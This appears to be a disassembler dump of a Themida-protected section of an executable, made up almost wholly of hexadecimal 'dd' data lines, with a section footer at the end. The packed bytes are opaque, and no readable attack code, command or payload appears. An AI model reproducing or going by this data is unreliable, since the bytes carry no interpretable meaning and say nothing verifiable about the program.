dd 5CBB37C9h, 0E92F3606h, 5, 0B8BBD635h, 7E8F5BCh, 5000000h
dd 723EA09Eh, 665E9374h, 0E95C01BEh, 10h, 1A5C996h, 65AD2065h
dd 5FA83A84h, 68E1A926h, 0D0CE8166h, 0BF666053h, 0F6168B4h
dd 168Bh, 0BE800h, 0EF3D0000h, 8EB6121Dh, 0BB4F2E9h, 0C8816612h
dd 0E95BDE03h, 7, 9FE5374h, 0F14D3ABh, 982h, 3870F00h
dd 66000000h, 0AAB4D78Bh, 724B966h, 4FF0B966h, 0FDE28166h
dd 0E28060A8h, 0B2BA6689h, 0C38B615Ah, 0F80AE281h, 0B70F4827h
dd 8A08BFD8h, 0B70F143Fh, 667EB3C1h, 7A0ADE81h, 0BE9h
dd 15DE1B00h, 0F08240A8h, 1DD274F3h, 0BE9h, 67697F00h
dd 7409B1FDh, 9C075CE0h, 14E9h, 4BDB2B00h, 4BC78450h, 3D78630Ch
dd 436134E1h, 0A9630B73h, 21BE6604h, 665E5180h, 0E9D115BFh
dd 0Bh, 0DD4E9BA8h, 0E57DE5E5h, 60093F45h, 0E3D18166h
dd 800F5238h, 0
dd 0E9606159h, 10h, 21681DFDh, 7BD6F5C6h, 3758C93h, 0B90E24CEh
dd 0AC7AF8BAh, 8B66617Dh, 0C1BF0FCBh, 5E851h, 801B0000h
dd 8151A426h, 532A85D3h, 0F9585905h, 667DF180h, 17F8F081h
dd 66EAC180h, 70D3C381h, 17830Fh, 12E90000h, 0DF000000h
dd 45BF53E3h, 2B0A5781h, 0B5FE6754h, 0FCCD0D16h, 810F60E0h
dd 6, 890Fh, 6E80000h, 1A000000h, 64826CCFh, 5F5F52DAh
dd 12E961h, 0A24B0000h, 11C73A4Dh, 0EB768E0Dh, 0A63A22AFh
dd 52496C0Ch, 1C78166h, 0A3EEBE30h, 5E94E5Dh, 32000000h
dd 7513681Fh, 0A42EF81h, 860F4562h, 0Bh, 6E9h, 0B5DD5E00h
dd 81FEB2B3h, 0B5FC4FE1h, 0F960FC5Ah, 61D0B70Fh, 7255E181h
dd 0DE907BFh, 8A000000h, 175B0605h, 2C8AD98Ch, 1CFBE3C7h
dd 5D9F681h, 7E93F77h, 0EB000000h, 0D47B91CBh, 66605081h
dd 0E83A42BAh, 0Ch, 0F2F87003h, 0F08FFD2Dh, 0C7B06746h
dd 8C0Fh, 61580000h, 0E1829B8h, 5850F79h, 60000000h, 61D2BF0Fh
dd 10E8h, 891D6400h, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h
dd 58F78BE0h, 0E900D280h, 10h, 4558870Ah, 0FDE56534h, 0CD196237h
dd 0ABAD3650h, 19870Fh, 0DE80000h, 2D000000h, 63C403CBh
dd 4C4F9870h, 0AE1FC84Eh, 32DCF381h, 0F5F5A10h, 84h, 0C6816600h
dd 0C8803CC9h, 0BE919h, 54DB0000h, 4F45B5D7h, 861B7E33h
dd 5741BF37h, 0BE9583Bh, 1E000000h, 0FB0CC3ADh, 7D4656F7h
dd 0BF0FE4C8h, 0AF381C8h, 0B64789F0h, 0F2BF0F61h, 8B66FB8Bh
dd 0B70F60CFh, 8B6660F3h, 8CF081F7h, 611C144Ah, 14E861h
dd 73210000h, 17C52B01h, 6375EC46h, 435F2B73h, 57BB8391h
dd 0B0606A94h, 616160E6h, 14E95Bh, 0C5110000h, 0F2057E95h
dd 0D1CEC658h, 5E11A689h, 0C8B022FDh, 0C781E4C1h, 3BB2DB18h
dd 12E9h, 54E0FC00h, 3F315ADAh, 0CB050145h, 7D6D439Bh
dd 8BEE143Dh, 6682B0F0h, 52DE84BFh, 6E9h, 12264600h, 5AF065D1h
dd 11E9CC8Ah, 83000000h, 15755694h, 0A7F819Dh, 4C9543C3h
dd 62E2212Ch, 9820BB60h, 8A0F2741h, 2, 60616160h, 5761D080h
dd 8166615Ah, 607416F6h, 0FDB0B966h, 0FFBF0F61h, 13E8h
dd 1368C00h, 0D05A5310h, 256574ACh, 5175CA23h, 7DBAC554h
dd 12E9h, 7D26FB00h, 3EDB50E8h, 5BA8461Bh, 0F2A69861h
dd 5A5BC4BBh, 0A0B340BEh, 47EA813Ch, 81341183h, 0AB69A8DEh
dd 0EF49BA26h, 13E80AF7h, 0B7000000h, 0D7B5193Ah, 0BDA4822Ch
dd 8C981707h, 65169DC8h, 830F27BFh, 6, 8F0Fh, 0F95B0000h
dd 0A5B5DE81h, 81666AADh, 66E849E9h, 80BEB81h, 890FC68Bh
dd 2, 1ABAD58Ah, 0F171A04h, 285h, 810FB000h, 0EFEC66EBh
dd 93C8B836h, 81664653h, 66892CE2h, 0E388D781h, 1F840Fh
dd 5E80000h, 62000000h, 73DA5F2Ch, 0EE8h, 0C251DB00h, 0D6B6EAFEh
dd 0C1AD8486h, 5E8DF397h, 5E95Bh, 34F30000h, 0F515C13Bh
dd 10E9h, 61730100h, 2AE897C0h, 8CF76CAh, 0D420B69Ch, 3850FD4h
dd 80000000h, 8E9C6D6h, 5C000000h, 0FF42A668h, 8A4D66D2h
dd 6E960FDh, 2A000000h, 0B4996989h, 88B55068h, 81F9615Bh
dd 4C6671C2h, 830FF93Dh, 7, 4651BE56h, 665A596Ah, 0FE3AE281h
dd 0C88AF78Ah, 0E40BDE81h, 8B663516h, 1E870FFEh, 0F000000h
dd 1887h, 13E900h, 42050000h, 22429BDCh, 3336BE0Fh, 0E0C819B7h
dd 91C8E0A0h, 0FCDC8ADAh, 7EE8166h, 0E9816602h, 0E281F229h
dd 6E4F0A85h, 79EA8060h, 7E8h, 0E4A66200h, 0B5068728h
dd 666158F8h, 0DE80D78Bh, 0C38BF9CAh, 6317BB66h, 0E8F08A60h
dd 0Ah, 32577986h, 79AC434Ch, 0BF66E60Dh, 615A2357h, 0E84ABB66h
dd 73CA8166h, 33BF60A2h, 525BCC2Bh, 6159F78Bh, 1830Fh
dd 66F90000h, 3CBE281h, 0FC71B866h, 0B866D38Bh, 13E96865h
dd 19000000h, 0BAB4A381h, 99E95736h, 99B05934h, 0F653AC1Dh
dd 0E9606FB4h, 7, 0E9C2EA82h, 611E2E1Eh, 0B0E78AF8h, 0E9D18B0Dh
dd 0Ch, 55BC293Ah, 0E7E20447h, 72DB44DDh, 0FDFC981h, 81F96909h
dd 54E445CBh, 0F0B0BA5Eh, 0BE947C8h, 78000000h, 0DC67D2A6h
dd 28BD378Eh, 8B663B66h, 890FC7h, 0F5000000h, 6E9h, 5860B900h
dd 0B866A6C4h, 7EE704E7h, 27B7DCB4h, 9C481FB8h, 6336B849h
dd 8160160Ch, 0CCFDB2C1h, 61DC8A4Bh, 8BEEE080h, 66A6B2D9h
dd 8B3108B8h, 0EE9F2h, 0A71A0000h, 0DF9A483Ch, 610CB1B6h
dd 50B2652Bh, 0AE9h, 0E0E1B100h, 27530B03h, 66C7652Eh
dd 0E9A838BAh, 0Dh, 552CE024h, 2DF4B377h, 0D511BFBFh, 12E88Bh
dd 8B4D0000h, 0F7F6C7Ah, 0CD059B35h, 781AB004h, 0A2E360EAh
dd 7E959h, 9080000h, 0C0930F4Dh, 4820F49h, 66000000h, 8B56CBB8h
dd 12E8F2h, 29A0000h, 0E8CCBF04h, 0AF1B6D09h, 43A90852h
dd 280FBCFBh, 5AF0B70Fh, 0D08AA8BAh, 0C781F85Bh, 1BF32924h
dd 8BD2BF0Fh, 0D18B66D3h, 0BFADF180h, 5665F50Fh, 0FC53A6B5h
dd 7E858h, 0CD8E0000h, 1486E67Fh, 0C6BF0FB9h, 0D881665Bh
dd 5E81502h, 0D000000h, 0D4C028F7h, 0DE95BF8h, 0FB000000h
dd 85F74023h, 7FCD8E12h, 0B91486E6h, 198C0Fh, 14E90000h
dd 2F000000h, 0ABE4F769h, 7EA0DE6Ch, 1D5E76Ah, 81357D35h
dd 0E9F96DA7h, 6, 64A20060h, 10E85EFAh, 0AA000000h, 361D6B6Ah
dd 0F61C8D0h, 59915907h, 809B7D2Bh, 0F5A77E1h, 58Eh, 0E8816600h
dd 6660E744h, 0E83E88BAh, 0Ah, 0E5C691BCh, 0C13481D0h
dd 61606F58h, 8B66615Ah, 0CE9D3h, 97010000h, 0C5704633h
dd 0C0A7BE8Eh, 8E0FCD1Dh, 3, 0F9DEB70Fh, 13E8h, 0F1C2A200h
dd 59D17EC9h, 0EF46A8EBh, 1658A26Ch, 0B174682Ah, 5810F58h
dd 51000000h, 5BD1BF0Fh, 68B0F51h, 0F000000h, 87h, 81665B00h
dd 0FC5DFD2h, 8B0FF7B7h, 3, 664CC980h, 14E9D18Bh, 73000000h
dd 395D2597h, 0F22A605Bh, 0AB80F677h, 7E0C58D8h, 0FB8403Eh
dd 5E9DFBFh, 0BC000000h, 0FB733332h, 0C1CEC7BEh, 0C880F93Ch
dd 0E2816677h, 830FF491h, 3, 6618CD80h, 8B66D88Bh, 0D6BF0FDAh
dd 7587E8B8h, 0B6D68057h, 304BC2BEh, 9830F04h, 0F000000h
dd 38Ch, 0D8B70F00h, 819AE880h, 0B3EFBCD7h, 4820F77h, 66000000h
dd 66EC00BFh, 81C1D3BFh, 99BEB6F7h, 0E9DCB654h, 0Ch, 93689F9Bh
dd 0F4FD108Bh, 0B8881287h, 0EE8h, 0D397A100h, 0CC37C740h
dd 32D8B560h, 0FFF87F7h, 589h, 0D42BBE00h, 515B6BE3h, 0FB8B575Bh
dd 0F081665Eh, 0BF66D08Ah, 0EC80D987h, 61BFF9C8h, 0E96358B7h
dd 5, 0D67A1580h, 0D38153D2h, 3951D55Fh, 0DF8B665Ah, 0BF0F78B6h
dd 0FF38BD7h, 5E50D0B7h, 0E828C380h, 13h, 0E1219D75h, 1FB95670h
dd 9656C769h, 27AF56FEh, 0F23AA8Ah, 280h, 5E616000h, 0FE8h
dd 0A6A8300h, 0BFC366C0h, 51A705F5h, 42FEEAF6h, 0FE9h
dd 0B9EE6D00h, 14B63847h, 0E3717E69h, 4196037Dh, 0CE95Fh
dd 2B490000h, 500A5ACDh, 3866570Dh, 0C38B1ACFh, 58B0F60h
dd 0BE000000h, 6AF7484Bh, 0BE861h, 0F4860000h, 7E62E16h
dd 783869B6h, 0C28166B8h, 6059628Bh, 28E0Fh, 0D68B0000h
dd 2976D881h, 0F613025h, 0BA66F3BFh, 816071F5h, 0A98762CFh
dd 870F602Dh, 0
aB__Yaas db 'Ö_.šyaaé',7,0
align 10h
dd 9EEFD00h, 10C0843Bh, 0E2DF81FCh, 0BB106301h, 30846EFAh
dd 0A49DB866h, 38E0Fh, 8B660000h, 0E9F1B4CAh, 0Ah, 97C3BE12h
dd 0A9AD9C75h, 0B966B17Eh, 11E92164h, 0EB000000h, 5DD5DB7Dh
dd 9DD427E9h, 0C9A2FCAh, 7D21E180h, 28B0Fh, 0CE8B0000h
dd 0B9D3BF0Fh, 559B12F1h, 66F08B66h, 0BF0FD08Bh, 0CF8166F9h
dd 0F28122F7h, 3572E728h, 68C0Fh, 0D6810000h, 353F267Dh
dd 0D6DE8166h, 0F78166F0h, 0BF66F5BFh, 0B860A79Fh, 11E14DE6h
dd 0BB61FA8Bh, 1FD20C32h, 0EE9F5h, 0C1F90000h, 2ADD052Bh
dd 0D6B4AFEDh, 8B855624h, 4880Fh, 0BB660000h, 0FEB77551h
dd 890F83B6h, 5, 1DD78166h, 0D2BF0F65h, 48D0Fh, 0BE660000h
dd 0DF8BC3ACh, 880Fh, 0BE80000h, 53000000h, 0BF575C50h
dd 567A9539h, 83BBE103h, 5B4634D7h, 0FE8h, 94247C00h, 6BD31081h
dd 0E110DFE4h, 5AA43191h, 8159C38Bh, 0C2E887F3h, 0FB9B765h
dd 1784h, 11830F00h, 0E9000000h, 0Ch, 777048E2h, 975E2BE4h
dd 1518F866h, 1820Fh, 66F50000h, 0FC65A1BAh, 2850Fh, 8B40000h
dd 0FDFBF0Fh, 11E9C3BFh, 3D000000h, 0F85E52DDh, 926708A0h
dd 0ACBA8A97h, 0A692826h, 57C8BF0Fh, 0BA66F85Bh, 880F0FB5h
dd 1, 0C88166F5h, 7E8C25Bh, 7E000000h, 1B94D664h, 0C9819754h
dd 1CA35CFh, 8BC0B758h, 0FE8B66FEh, 11E8h, 0F22F1200h
dd 0F355904Ah, 0A292C84Bh, 3164EF0Eh, 59F57901h, 1044CE81h
dd 6052304Eh, 10E9F8h, 63730000h, 625F44D1h, 28D3BF71h
dd 0AED0ACACh, 5E612FAFh, 0D172B866h, 8B66F18Bh, 80F8F9FBh
dd 9E9BACAh, 6A000000h, 70B58835h, 42058EDAh, 8166F48Ah
dd 6063E2D0h, 0F11CB80h, 68Ah, 7CC68100h, 61577F1Dh, 0AE8h
dd 0A0DA9A00h, 4E5BAF5Ah, 0F55F8C9Dh, 41CE815Ah, 0F912FB9Ch
dd 8E9h, 0B89AC00h, 1A4C3B91h, 0E6E0801Ch, 961D76BEh, 0E5BB6656h
dd 7BE58071h, 58B0Fh, 37BE0000h, 8159E7A2h, 0B32C2E0h
dd 14E96024h, 0C0000000h, 7B0BCB95h, 1045ECF6h, 0B663897h
dd 0BFA92C14h, 0FEABE5Bh, 686h, 0EFD88100h, 614DB39Eh
dd 8BD6B70Fh, 0DE9F1h, 7E880000h, 8155CE82h, 4815FEC7h
dd 0BB5CAA7Dh, 1141C04Ah, 9E9h, 0E98FCC00h, 79867521h
dd 0F533257h, 1283h, 0DE900h, 0A9E10000h, 0B4DD571Ah, 15C1A0Ch
dd 5E3FAFFEh, 6B82C081h, 0B86629E3h, 9E9A924h, 7D000000h
dd 94C747DEh, 9CF4541Ah, 1CBE66F8h, 665B50E5h, 80F5F88Bh
dd 0BF0FC3F1h, 12E9DBh, 0B1670000h, 75D18293h, 0A7020FB6h
dd 0B1D83A94h, 0A537E61Eh, 766AF081h, 0C18158D5h, 1676B4CFh
dd 0A95D881h, 0E0816F94h, 4D421177h, 66D9BF0Fh, 8062F5B9h
dd 0CE9D6F4h, 0AA000000h, 1F6016DEh, 0F82598F6h, 66D3C151h
dd 0AE8FB8Bh, 21000000h, 0BA6E5AA9h, 594F4BC8h, 0E8B86649h
dd 830F5813h, 2, 74B9D9B6h, 60117B95h, 0FDBB70Fh, 0E961D1B7h
dd 0Bh, 8BF08AD5h, 1CFE5FFh, 60DB006Fh, 34F480F8h, 12E961h
dd 9C50000h, 0A461AFC0h, 0A184FA0Ah, 0F15927D4h, 0D83A3B6h
dd 7E9h, 0C9F33300h, 8F9FD838h, 0D771DB81h, 8B663715h
dd 0D38B66C1h, 0ECF281F8h, 80155F60h, 0BF0F9BF5h, 0B840FC2h
dd 0F000000h, 580h, 0C1816600h, 51B3B363h, 0EF702FB9h
dd 57C3814Ch, 6017A971h, 8A0Fh, 0D2810000h, 6B2DAA8h, 66C18161h
dd 0E965769Ch, 0Fh, 7EDB90B0h, 0F7F2AAF3h, 0F0B7C4C7h
dd 8026971Eh, 89BAB4EAh, 0E80666A5h, 12h, 0B5ADF0FCh, 9CC8E03h
dd 43E5A19h, 7227A76Bh, 8B601D03h, 830FCFh, 61000000h
dd 5EF55158h, 3DAB53BFh, 60FE8B2Bh, 71C18160h, 616A7362h
dd 176AB966h, 0F2816661h, 0BA603854h, 1D60FE4Ah, 6115CA80h
dd 7E9h, 2F299F00h, 0BB6B4803h, 0FE9h, 0EDE55500h, 0DFA4D4F0h
dd 4E2BBD0h, 40F11B9Fh, 0EE9h, 20796900h, 0E8136D71h, 0FDF7C896h
dd 8B97DF81h, 0BF66F5CBh, 0BA661E46h, 8B661006h, 5E8FBh
dd 34590000h, 80FE8999h, 8A585DDAh, 870F60E5h, 1, 0FE9FCh
dd 0A05E0000h, 84B738FEh, 0CA49948Ch, 53F505D3h, 816661E9h
dd 0E9218CCEh, 0Bh, 8A7B7F38h, 24F49CA6h, 0E9E2348Ch, 5
dd 0AFD17C6Dh, 7E928h, 722F0000h, 0E0AB889Bh, 0F080F56Dh
dd 0C8B360C2h, 0BE961h, 51900000h, 46C0AAA9h, 902052B7h
dd 0C04BB92Bh, 0B70F2C9Ch, 7E9F3h, 24A60000h, 97E92DE6h
dd 5E94Bh, 32160000h, 66FA9AF5h, 0FCD39BAh, 38Bh, 0F0BF0F00h
dd 0E8C0Fh, 0E9500000h, 7, 38D97A06h, 5F5ED9C8h, 4830Fh
dd 0BB660000h, 820FBE30h, 11h, 0CE9h, 5AE1AB00h, 0A642B736h
dd 3F66E4C4h, 0F88B6620h, 0B6CDF181h, 0C38B5F11h, 6203ECB8h
dd 5830F51h, 0B8000000h, 4C5DA526h, 9E860h, 92200000h
dd 0CECD578Ah, 815DF18Eh, 6C2620C0h, 81665B2Bh, 6159E8F0h
dd 6E8h, 0D1CBAB00h, 503E299Ch, 52D38166h, 8A595F9Ah, 0BFB866E3h
dd 0D7816688h, 0EC8057C4h, 6E92Dh, 890B0000h, 0EEFDF228h
dd 6286BA66h, 0F6DCC6BFh, 8B66F93Ch, 5860FC6h, 0B9000000h
dd 1B0D4025h, 0BED08B66h, 654B6023h, 9E9h, 97818500h, 0EA3414B3h
dd 8B666704h, 0FAB70FF0h, 0D7DCC781h, 14E8198Bh, 0ED000000h
dd 0E3CBCD02h, 7388D31Fh, 9A1BB2BEh, 0B151C820h, 805A9A55h
dd 8B5849EEh, 858AB9C1h, 8ABF694Ch, 0F1E3C14h, 880FCABFh
dd 3, 8BCF8B66h, 0D5C080C7h, 9E9h, 8766BC00h, 0CB913BE4h
dd 0F281F037h, 536DA1D1h, 66D18B66h, 503464BAh, 12E9h
dd 0A0E1700h, 3DB8A28Ch, 1C9553A1h, 62483482h, 5E76BBB4h
dd 0BF66FA8Ah, 0EB816436h, 6BEBD188h, 3840Fh, 0BF0F0000h
dd 0BE9D9h, 362E0000h, 3B114D23h, 146424CCh, 0E9616077h
dd 13h, 700EB31h, 934341A0h, 0D7ADAAB4h, 902C4DD4h, 0E814C7C7h
dd 12h, 462F880h, 6C29CA1Fh, 0B537F654h, 70EC3325h, 13E9AE0Bh
dd 3D000000h, 80EF2AC7h, 5B5961AAh, 97ACC1C0h, 61C18F34h
dd 0F590646h, 583h, 0D0816600h, 0BA6020D9h, 5D46BD23h
dd 0BE9h, 56D60600h, 0A28EE117h, 0B2F8B072h, 6693B461h
dd 50FAB6BBh, 1FCFF081h, 0F85A5C47h, 0E9585160h, 8, 17810597h
dd 0DA123962h, 0D68B6661h, 0F9AFFFBFh, 9CBE6632h, 0EE95B8C7h
dd 40B00CD9h, 0DF8B66FCh, 0EE95E50h, 69000000h, 8B1FA19h
dd 68CF565Eh, 69F80DA3h, 0F6BF0FFAh, 9ED68166h, 0F78B6058h
dd 8ADA8B60h, 0E86161DDh, 6, 859AEE1Ch, 665B22C7h, 1929F281h
dd 5860F60h, 0B9000000h, 2621ED06h, 595A5352h, 0C830F61h
dd 0F000000h, 68Ch, 0E4D98100h, 0E93F9DA6h, 14h, 409266E1h
dd 0E3F93BCCh, 8C1FB685h, 0C4838CA1h, 6E1BA6E3h, 0FC78166h
dd 0D58A6079h, 6880Fh, 0EA810000h, 0F84AEBFh, 36F28161h
dd 0E82DF9F3h, 6, 0C768901h, 11E9BDDCh, 0F7000000h, 72EA5231h
dd 51A64908h, 40C4C2E7h, 6A51938Eh, 0E881665Fh, 10E9907Bh
dd 46000000h, 3B25EDD8h, 0BCE2070h, 0F1F7CC3Ch, 8060FDE4h
dd 0E8513EEAh, 6, 3EE04623h, 11E99BB2h, 59000000h, 0AD2D2228h
dd 0B582CF10h, 6A659382h
dd 43D077FCh, 0E9605F5Eh, 0Ch, 7B549E9h, 782D4F5Fh, 0C187F9D7h
dd 0FBB70F61h, 0AE9h, 47447900h, 792E935Dh, 0FBAA86Fh
dd 583h, 0EF816600h, 0B70FCA2Ch, 0BE9D2h, 0B0A60000h, 7F75608Ch
dd 6718BA9Eh, 0AE8A2h, 0AC5B0000h, 0A6EBFFD1h, 83BF21D3h
dd 12E95FF5h, 68000000h, 74BEDD31h, 3A0B7CBFh, 97B82C15h
dd 3F826910h, 11E9ACh, 17030000h, 20AF1964h, 0C09A3B17h
dd 6C0598D6h, 0F7F8B70h, 482h, 8BB96600h, 0BF0FFC3Eh, 8C0FDAh
dd 0FC000000h, 0BF66FC60h, 81612715h, 0F540DBEBh, 890F6003h
dd 0
dd 68E0Fh, 8F0F0000h, 0
dd 800FF961h, 1, 8E0FF5FCh, 0
dd 5BF7B351h, 8B66D18Ah, 0CB8166DAh, 0E28AF025h, 66EECA80h
dd 52E2DFB8h, 6E8h, 1D53E900h, 0F4069EEh, 5B58D8BFh, 0B0C4E681h
dd 9E82CBCh, 8D000000h, 0D090DF64h, 2C04F942h, 66F85FF8h
dd 0E92C09B9h, 0Ah, 222462D8h, 33F04211h, 0B86678C9h, 0D680F223h
dd 0CA8B6615h, 3830Fh, 8B660000h, 0ACB966F1h, 569AB335h
dd 5E9h, 6A2F5A00h, 0E9590C7Eh, 0Eh, 0A8C983FFh, 730F2D04h
dd 7BD81417h, 14BB600Dh, 0E94DE86Eh, 0Ah, 0F2366F07h, 0B8C562ABh
dd 820F9896h, 5, 0CD22C9B9h, 158A0F24h, 0E9000000h, 10h
dd 0B83A18Dh, 0B30DF4D3h, 0E4DCE8Ah, 216A6840h, 12E9h
dd 9026A400h, 0B3829531h, 1E2C1391h, 0F4D1F33Bh, 0E810DD5Bh
dd 0Dh, 7F571Ch, 0B105074Bh, 0F46A2D21h, 0C2CA81DAh, 5A4206DEh
dd 0E080F88Bh, 0D0F280A7h, 0FC1BF0Fh, 60B3CFB7h, 99F28166h
dd 0FAB9665Bh, 0B97BB743h, 3D04CEEFh, 88C0Fh, 8C0F0000h
dd 2, 0F560D58Ah, 37D68166h, 0BA666181h, 11E89989h, 0F3000000h
dd 6E136B20h, 45AD0091h, 0B0370BB7h, 0F4CDF5F7h, 2237E081h
dd 0FC597A11h, 0BE9h, 559EE000h, 915EDD91h, 1B01C310h
dd 0EE9h, 8F25500h, 0E57777C9h, 38DBDA37h, 60E3516Ah, 0DE9D18Bh
dd 0AE000000h, 882DDFD7h, 71CC569Dh, 3A4FD661h, 86B76061h
dd 6E961F5h, 70000000h, 662E96C6h, 0F6060D1h, 8Fh, 11E900h
dd 0CA0B0000h, 8BDCD24Dh, 7E8E85ABh, 4FF69C48h, 61A243DAh
dd 0B70F61FCh, 0F28B66D0h, 66ECF380h, 8AE040BBh, 6820FF7h
dd 81000000h, 47C78AC1h, 9E877h, 0E92C0000h, 497C45D0h
dd 66B4F842h, 2B13C181h, 10BE665Eh, 81666033h, 607F33D3h
dd 3884BA66h, 526161F9h, 0B9595857h, 6CA9ED2Eh, 0DF81C68Bh
dd 1C4B9AEAh, 14E8h, 0D2873400h, 286E785Eh, 80D739E1h
dd 0BA68B082h, 7F7B282h, 12E931h, 6280000h, 1806B040h
dd 91D89AE3h, 43298BCAh, 0AAD48E7Bh, 0DA8B6659h, 0CC8AE0B3h
dd 66FCDA8Ah, 0FC1AF381h, 0EF5AE781h, 5F530820h, 0FE9h
dd 0A4A6A200h, 0B27B07D1h, 0C5332C16h, 93845CAFh, 2870F52h
dd 60000000h, 0B8665F61h, 0E8F9C136h, 0Fh, 2FE9958Eh, 0F48F2143h
dd 4DAE1E69h, 0BA9EAB6Eh, 3E9783DDh, 0D0B70F5Ah, 118C0F60h
dd 0E9000000h, 0Ch, 798CB7B0h, 3401722Dh, 30148F41h, 61DBB70Fh
dd 2860F52h, 60000000h, 820F5E61h, 0
dd 77D78166h, 0FD78BADh, 38BAFAB7h, 0E90671D0h, 11h, 0A9831F93h
dd 0D9397B64h, 7920717Dh, 0FB583DD9h, 81CA81B3h, 0B8699D47h
dd 516D8ED7h, 0DE8h, 0CBDD2C00h, 0A964E753h, 0B62F16C7h
dd 0B3BFCAC1h, 5828C9BDh, 0DB1EF81h, 0BF0F1047h, 0E9D78BD0h
dd 8, 530A6F2Bh, 1184EAB4h, 12E9h, 75C9C600h, 6E20D09Eh
dd 5C206EA0h, 7D87E547h, 60C7A55Fh, 14E8h, 0EF343700h
dd 490A8DEAh, 0B5179A90h, 6390A885h, 69BEF85Ch, 7E970h
dd 6F360000h, 0E4F7692Fh, 536158ABh, 0DA8B665Eh, 4B5BD981h
dd 0DE958C6h, 52000000h, 0F0D6A89Bh, 0FC527BE7h, 0C7B2B21Fh
dd 0E9C9BF0Fh, 0Fh, 1F29EF09h, 0ADFD2BD9h, 17660C60h, 666404F1h
dd 8027CA81h, 13E9h, 0F977EB00h, 7467BAE7h, 318117F6h
dd 1960C0B4h, 0B9BA7973h, 2850Fh, 0E58A0000h, 0BB6FF081h
dd 8B0F287Ch, 2, 66FC95B0h, 600EB6BFh, 5417E0B8h, 0DE957h
dd 76DA0000h, 0DFB8A45Fh, 57BD7484h, 61096656h, 0E8F6BF0Fh
dd 5, 922BC81Ah, 0D0BF0F13h, 9EB8535Ah, 5B67D3EBh, 6E9h
dd 0D13EF100h, 0F82CC99h, 289h, 0E9D3B400h, 0Ch, 4063D40Dh
dd 8143CF37h, 0ADD949A5h, 4D092FBBh, 66D78A6Bh, 6650C3BEh
dd 0E978F7B8h, 5, 0B027D585h, 0D88B6607h, 3F7FBBBAh, 0FE913h
dd 0AA960000h, 3C98CA7h, 0FB5048C2h, 0A671CB0Bh, 0E68166C9h
dd 0F534DA7h, 0E859CFBFh, 9, 0A9E4ADB9h, 0D9F02847h, 0C18B6636h
dd 536CB259h, 235FD681h, 81590F17h, 0BC2003F2h, 0D981665Bh
dd 0A9B06108h, 5FF85751h, 80FAB05Ah, 9E891E6h, 0A9000000h
dd 0D7B05777h, 24E94841h, 5E49C980h, 0FED88156h, 5851A13Ah
dd 0CA58BB66h, 2BCF8160h, 616F6976h, 38E0Fh, 0F3800000h
dd 0CE8B66B8h, 2860F60h, 0B7000000h, 616060F4h, 860Fh
dd 61610000h, 6E8h, 0F197DF00h, 5ABE1684h, 0AC58CA81h
dd 8C0F454Bh, 2, 0B70FF78Bh, 5E8C8h, 25310000h, 80D00377h
dd 0F5973EBh, 8B66D3B7h, 0D9B966C8h, 54BF664Eh, 5E92Eh
dd 8C440000h, 808220D4h, 49B692D8h, 2100B966h, 0F5EF852h
dd 38Ch, 8E18000h, 6671CE80h, 0FFB44B8h, 1788h, 11850F00h
dd 0E9000000h, 0Ch, 43F847F9h, 98C174B8h, 92FA3006h, 9EC88166h
dd 0D9B70FCEh, 5956C58Ah, 0AE8h, 5AE75900h, 741FCBCh, 6027F86Bh
dd 9E8h, 0F4D90E00h, 0C45685C3h, 61581714h, 0BE959h, 8AA20000h
dd 10EB21C7h, 233B6E9Dh, 0C8C0F00h, 0F000000h, 68Fh, 9DD28100h
dd 0F1171CEh, 88Dh, 2870F00h, 52000000h, 0E903B75Ah, 13h
dd 15BA2DF1h, 3A5B8BACh, 7DC95E45h, 0DCABF4E1h, 0E8605F12h
dd 12h, 1E191569h, 3DD322DEh, 0F0B1329Ah, 5AAC4E48h, 5E82F13h
dd 0AA000000h, 0B05E9A11h, 0E7CA8166h, 665F59F3h, 0D0EAF181h
dd 0BC00D981h, 8E82CB4h, 0C2000000h, 0FD764888h, 5F17714Ah
dd 8820Fh, 81510000h, 47F037D1h, 0BB665E11h, 66609242h
dd 0D880C78Bh, 0BE666160h, 13E9954Eh, 76000000h, 3A22AFEBh
dd 496C0CA6h, 1CA51252h, 0E6D7A72h, 8D0F4EA0h, 1, 0C38B66F8h
dd 95F3BB66h, 0FCD18B66h, 0BBE38166h, 0E0816666h, 0AE9ACEDh
dd 44000000h, 956F7C83h, 316951D0h, 11E8ECh, 0D5B90000h
dd 0FF861363h, 8C7EEA76h, 0BD402976h, 0FC37C50Bh, 0E9D7B15Ah
dd 0Ah, 464BB1CFh, 3B25EDD8h, 0BE82070h, 0C1000000h, 0C091AE9Ah
dd 0D3C5A67h, 8B57F50Bh, 81595AC3h, 56D952E3h, 10E8537Ah
dd 0C2000000h, 0A5F1C40h, 8D6EF7A3h, 64023A46h, 66D09B5Ah
dd 931EC981h, 8166595Bh, 0F986C1DAh, 1870FF9h, 0FC000000h
dd 12E8h, 7F361200h, 0FC6C31E9h, 6757D411h, 0AA48EC4Bh
dd 813E2379h, 8EE6AFCAh, 66535E79h, 58BA71B8h, 0BE6660F9h
dd 0F61B6E7h, 12BAC9B7h, 56591DAAh, 0E966CB81h, 665E6958h
dd 50FCF78Bh, 9E9h, 0DAFF7A00h, 9FBAAF13h, 0E959BBB1h
dd 9, 0C0BDDFE7h, 55625BD3h, 81D88BCDh, 0C9CD96D7h, 12E97Ch
dd 3A9F0000h, 717948B1h, 0C32E7DE4h, 8A5BBB87h, 0A202C086h
dd 13E8h, 89B48800h, 9C19F383h, 70BDCFD1h, 0A4E71352h
dd 40A6C600h, 0AE9h, 0FA137700h, 0CBCFCF13h, 5AAE1265h
dd 3CB866F9h, 12E9D7h, 5DEF0000h, 18B1EA8Bh, 28F113A4h
dd 3040860Ah, 82FE2A54h, 0FE856h, 9E3A0000h, 4039A0CFh
dd 571085ADh, 7E4FDA13h, 0DF81661Fh, 5F5B5A0Ah, 0F781C9B4h
dd 29CB9634h, 572E61B9h, 0B0B9665Ah, 50BE6673h, 0D0816625h
dd 0D38B616Eh, 50CABF0Fh, 1515EB81h, 565962F8h, 0FE960h
dd 3E440000h, 45CC0A4Eh, 0D01355B0h, 264E42CFh, 0DE96Ah
dd 68FF0000h, 6030ECF3h, 0E6ED2BA9h, 610FA4C4h, 88177758h
dd 1B3h dup(881777C7h), 1E0h dup(715E450Ch), 98h dup(7A548726h)
dd 0D0548726h, 3B2h dup(0D04B816Bh), 674B816Bh, 0C4h dup(67F856E0h)
dd 0B5Ch dup(0CCCCCCCCh), 0CCh, 257h dup(0)
Themida_ ends
; Section 5. (virtual address 001BC000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
